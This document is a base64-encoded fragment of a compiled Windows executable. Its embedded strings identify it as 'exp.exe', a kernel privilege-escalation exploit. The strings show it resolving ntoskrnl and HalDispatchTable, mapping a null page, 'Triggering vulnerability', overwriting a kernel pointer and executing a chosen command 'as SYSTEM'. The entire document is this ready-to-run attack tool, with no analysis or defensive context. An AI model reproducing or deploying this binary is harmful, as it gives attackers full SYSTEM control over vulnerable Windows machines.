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AAAA3NsBAAAAAADy2wEAAAAAAATcAQAAAAAADtwBAAAAAAAa3AEAAAAAACbcAQAAAAAAONwBAAAAAABI3AEAAAAAAFbcAQAAAAAAatwBAAAAAAB63AEAAAAAAIzcAQAAAAAAmNwBAAAAAACs3AEAAAAAALzcAQAAAAAAztwBAAAAAADa3AEAAAAAAObcAQAAAAAAAN0BAAAAAAAa3QEAAAAAADTdAQAAAAAARN0BAAAAAAC03QEAAAAAAAAAAAAAAAAAXNkBAAAAAAAAAAAAAAAAADrZAQAAAAAAAAAAAAAAAADC2AEAAAAAANrYAQAAAAAAAAAAAAAAAADFAkdldFN0YXJ0dXBJbmZvVwBUBFJlYWRGaWxlAADPAUdldENvbW1hbmRMaW5lVwAPAkdldEN1cnJlbnRQcm9jZXNzANQAQ3JlYXRlUGlwZQAAVgJHZXRMYXN0RXJyb3IAAH8AQ2xvc2VIYW5kbGUApAJHZXRQcm9jQWRkcmVzcwAAVwFFeGl0UHJvY2VzcwDbAENyZWF0ZVByb2Nlc3NXAABtAkdldE1vZHVsZUhhbmRsZVcAABkGbHN0cmNweVcAAKoDTG9hZExpYnJhcnlFeFcAAEtFUk5FTDMyLmRsbAAAdQBDcmVhdGVXaW5kb3dTdGF0aW9uVwAA9QJTZXRQcm9jZXNzV2luZG93U3RhdGlvbgBVU0VSMzIuZGxsAAApAENyZWF0ZUJpdG1hcAAA2gJTZXRCaXRtYXBCaXRzANIBR2V0Qml0bWFwQml0cwBHREkzMi5kbGwABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAAEARW51bURldmljZURyaXZlcnMAUFNBUEkuRExMAK4EUnRsQ2FwdHVyZUNvbnRleHQAtQRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAC8BFJ0bFZpcnR1YWxVbndpbmQAAJIFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABSBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBwBVRlcm1pbmF0ZVByb2Nlc3MAAHADSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudAAwBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyABACR2V0Q3VycmVudFByb2Nlc3NJZAAUAkdldEN1cnJlbnRUaHJlYWRJZAAA3QJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBUA0luaXRpYWxpemVTTGlzdEhlYWQAagNJc0RlYnVnZ2VyUHJlc2VudAC7BFJ0bFVud2luZEV4ABkFU2V0TGFzdEVycm9yAAApAUVudGVyQ3JpdGljYWxTZWN0aW9uAAClA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAGAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgBRA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAggVUbHNBbGxvYwAAhAVUbHNHZXRWYWx1ZQCFBVRsc1NldFZhbHVlAIMFVGxzRnJlZQCkAUZyZWVMaWJyYXJ5AMcCR2V0U3RkSGFuZGxlAADxBVdyaXRlRmlsZQBoAkdldE1vZHVsZUZpbGVOYW1lQQAA1ANNdWx0aUJ5dGVUb1dpZGVDaGFyAN0FV2lkZUNoYXJUb011bHRpQnl0ZQBsAkdldE1vZHVsZUhhbmRsZUV4VwAAzgFHZXRDb21tYW5kTGluZUEAqgFHZXRBQ1AAADwDSGVhcEZyZWUAADgDSGVhcEFsbG9jAJMAQ29tcGFyZVN0cmluZ1cAAJkDTENNYXBTdHJpbmdXAABFAkdldEZpbGVUeXBlAJgBRmx1c2hGaWxlQnVmZmVycwAA4gFHZXRDb25zb2xlQ1AAAPQBR2V0Q29uc29sZU1vZGUAAG4BRmluZENsb3NlAHMBRmluZEZpcnN0RmlsZUV4QQAAgwFGaW5kTmV4dEZpbGVBAHUDSXNWYWxpZENvZGVQYWdlAI0CR2V0T0VNQ1AAALkBR2V0Q1BJbmZvAC4CR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAowFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwD8BFNldEVudmlyb25tZW50VmFyaWFibGVBADAFU2V0U3RkSGFuZGxlAADMAkdldFN0cmluZ1R5cGVXAACpAkdldFByb2Nlc3NIZWFwAAAMBVNldEZpbGVQb2ludGVyRXgAAPAFV3JpdGVDb25zb2xlVwBBA0hlYXBTaXplAAA/A0hlYXBSZUFsbG9jAMIAQ3JlYXRlRmlsZVcARARSYWlzZUV4Y2VwdGlvbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADKi3y2ZKwAAzV0g0mbU////////AQAAAAEAAAACAAAALyAAAAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAIAACgoKAAAA/////wAAAAAAAAAAAAAAAPBfAUABAAAAAQAAAAAAAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjjAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGOMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY4wFAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjjAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGOMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcOgBQAEAAAAAAAAAAAAAAAAAAAAAAAAAcGIBQAEAAADwYwFAAQAAABBYAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsOEBQAEAAAAg4wFAAQAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6AAAAAAAAQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIOMBQAEAAAABAgQIAAAAAAAAAAAAAAAApAMAAGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA